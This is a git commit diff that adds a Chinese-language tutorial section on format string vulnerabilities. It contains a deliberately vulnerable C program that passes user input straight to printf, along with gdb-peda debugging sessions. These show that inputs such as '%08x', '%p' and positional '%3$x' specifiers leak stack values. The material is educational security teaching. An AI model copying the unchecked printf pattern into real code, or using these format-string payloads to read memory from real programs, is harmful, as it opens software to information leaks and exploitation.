update fmt

This commit is contained in:
firmianay 2017-09-09 00:43:29 +08:00
parent 20e03f6e65
commit 89b8a2ee17

View File

@ -290,8 +290,164 @@ printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
#### 查看栈内容
使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。
使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。我们已经知道了,格式化字符串函数会根据格式字符串从栈上取值。由于在 x86 上栈由高地址向低地址增长,而 `printf()` 函数的参数是以逆序被压入栈的,所以参数在内存中出现的顺序与在 `printf()` 调用时出现的顺序是一致的。
```c
#include<stdio.h>
void main() {
char format[32];
int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
scanf("%s", format);
printf(format, arg1, arg2, arg3);
printf("\n");
}
```
我们先输入 `b main` 设置断点,使用 `n` 往下执行,在 `call 0x56555460 <__isoc99_scanf@plt>` 处输入 `%08x.%08x.%08x.%08x`,然后使用 `c` 继续执行,即可输出结果。
```text
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xffffd5d4 ("%08x.%08x.%08x.%08x")
EBX: 0x56557000 --> 0x1efc
ECX: 0x1
EDX: 0xf7f9883c --> 0x0
ESI: 0xf7f96e68 --> 0x1bad90
EDI: 0x0
EBP: 0xffffd608 --> 0x0
ESP: 0xffffd5c0 --> 0xffffd5d4 ("%08x.%08x.%08x.%08x")
EIP: 0x56555612 (<main+85>: call 0x56555430 <printf@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5655560b <main+78>: push DWORD PTR [ebp-0xc]
0x5655560e <main+81>: lea eax,[ebp-0x34]
0x56555611 <main+84>: push eax
=> 0x56555612 <main+85>: call 0x56555430 <printf@plt>
0x56555617 <main+90>: add esp,0x10
0x5655561a <main+93>: sub esp,0xc
0x5655561d <main+96>: push 0xa
0x5655561f <main+98>: call 0x56555450 <putchar@plt>
Guessed arguments:
arg[0]: 0xffffd5d4 ("%08x.%08x.%08x.%08x")
arg[1]: 0x1
arg[2]: 0x88888888
arg[3]: 0xffffffff
[------------------------------------stack-------------------------------------]
0000| 0xffffd5c0 --> 0xffffd5d4 ("%08x.%08x.%08x.%08x")
0004| 0xffffd5c4 --> 0x1
0008| 0xffffd5c8 --> 0x88888888
0012| 0xffffd5cc --> 0xffffffff
0016| 0xffffd5d0 --> 0x8000
0020| 0xffffd5d4 ("%08x.%08x.%08x.%08x")
0024| 0xffffd5d8 (".%08x.%08x.%08x")
0028| 0xffffd5dc ("x.%08x.%08x")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x56555612 in main ()
gdb-peda$ c
Continuing.
00000001.88888888.ffffffff.00008000
[Inferior 1 (process 31270) exited with code 012]
```
格式化字符串 `0xffffd5d4` 的地址出现在内存中的位置恰好位于参数 `arg1`、`arg2`、`arg3` 之前。格式字符串 `%08x.%08x.%08x.%08x` 表示函数 `printf()` 从栈中取出 4 个参数并将它们以 8 位十六进制数的形式显示出来。格式化输出函数使用一个内部变量来标志下一个参数的位置。开始时,参数指针指向第一个参数(`arg1`)。随着每一个参数被相应的格式规范所耗用,参数指针的值也根据参数的长度不断递增。在显示完当前执行函数的剩余自动变量之后,`printf()` 将显示当前执行函数的栈帧(包括返回地址和参数等)。
当然也可以使用 `%p.%p.%p.%p` 得到相似的结果。
```
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xffffd5d4 ("%p.%p.%p.%p")
EBX: 0x56557000 --> 0x1efc
ECX: 0x1
EDX: 0xf7f9883c --> 0x0
ESI: 0xf7f96e68 --> 0x1bad90
EDI: 0x0
EBP: 0xffffd608 --> 0x0
ESP: 0xffffd5c0 --> 0xffffd5d4 ("%p.%p.%p.%p")
EIP: 0x56555612 (<main+85>: call 0x56555430 <printf@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5655560b <main+78>: push DWORD PTR [ebp-0xc]
0x5655560e <main+81>: lea eax,[ebp-0x34]
0x56555611 <main+84>: push eax
=> 0x56555612 <main+85>: call 0x56555430 <printf@plt>
0x56555617 <main+90>: add esp,0x10
0x5655561a <main+93>: sub esp,0xc
0x5655561d <main+96>: push 0xa
0x5655561f <main+98>: call 0x56555450 <putchar@plt>
Guessed arguments:
arg[0]: 0xffffd5d4 ("%p.%p.%p.%p")
arg[1]: 0x1
arg[2]: 0x88888888
arg[3]: 0xffffffff
[------------------------------------stack-------------------------------------]
0000| 0xffffd5c0 --> 0xffffd5d4 ("%p.%p.%p.%p")
0004| 0xffffd5c4 --> 0x1
0008| 0xffffd5c8 --> 0x88888888
0012| 0xffffd5cc --> 0xffffffff
0016| 0xffffd5d0 --> 0x8000
0020| 0xffffd5d4 ("%p.%p.%p.%p")
0024| 0xffffd5d8 ("p.%p.%p")
0028| 0xffffd5dc --> 0x70252e ('.%p')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x56555612 in main ()
gdb-peda$ c
Continuing.
0x1.0x88888888.0xffffffff.0x8000
[Inferior 1 (process 31309) exited with code 012]
```
上面的方法都是依次获得栈中的参数,如果我们想要直接获得被指定的某个参数,则可以使用类似下面的格式字符串:
```
%n$x
```
这里的 `n` 表示栈中格式字符串后面的第 `n` 个值。
```
db-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p")
EBX: 0x56557000 --> 0x1efc
ECX: 0x1
EDX: 0xf7f9883c --> 0x0
ESI: 0xf7f96e68 --> 0x1bad90
EDI: 0x0
EBP: 0xffffd608 --> 0x0
ESP: 0xffffd5c0 --> 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p")
EIP: 0x56555612 (<main+85>: call 0x56555430 <printf@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5655560b <main+78>: push DWORD PTR [ebp-0xc]
0x5655560e <main+81>: lea eax,[ebp-0x34]
0x56555611 <main+84>: push eax
=> 0x56555612 <main+85>: call 0x56555430 <printf@plt>
0x56555617 <main+90>: add esp,0x10
0x5655561a <main+93>: sub esp,0xc
0x5655561d <main+96>: push 0xa
0x5655561f <main+98>: call 0x56555450 <putchar@plt>
Guessed arguments:
arg[0]: 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p")
arg[1]: 0x1
arg[2]: 0x88888888
arg[3]: 0xffffffff
[------------------------------------stack-------------------------------------]
0000| 0xffffd5c0 --> 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p")
0004| 0xffffd5c4 --> 0x1
0008| 0xffffd5c8 --> 0x88888888
0012| 0xffffd5cc --> 0xffffffff
0016| 0xffffd5d0 --> 0x8000
0020| 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p")
0024| 0xffffd5d8 (".%1$08x.%2$p.%2$p.%4$p.%5$p")
0028| 0xffffd5dc ("08x.%2$p.%2$p.%4$p.%5$p")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x56555612 in main ()
gdb-peda$ x/10w $esp
0xffffd5c0: 0xffffd5d4 0x00000001 0x88888888 0xffffffff
0xffffd5d0: 0x00008000 0x78243325 0x2431252e 0x2e783830
0xffffd5e0: 0x70243225 0x2432252e
gdb-peda$ c
Continuing.
ffffffff.00000001.0x88888888.0x88888888.0x8000.0x78243325
```
这里,格式字符串的地址为 `0xffffd5d4`。我们通过格式字符串 `%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p` 分别获取了 `arg3`、`arg1`、两个 `arg2`,和栈上紧跟参数的两个值。可以看到这种方法非常强大,可以获得栈中任意的值。
#### 查看任意地址的内存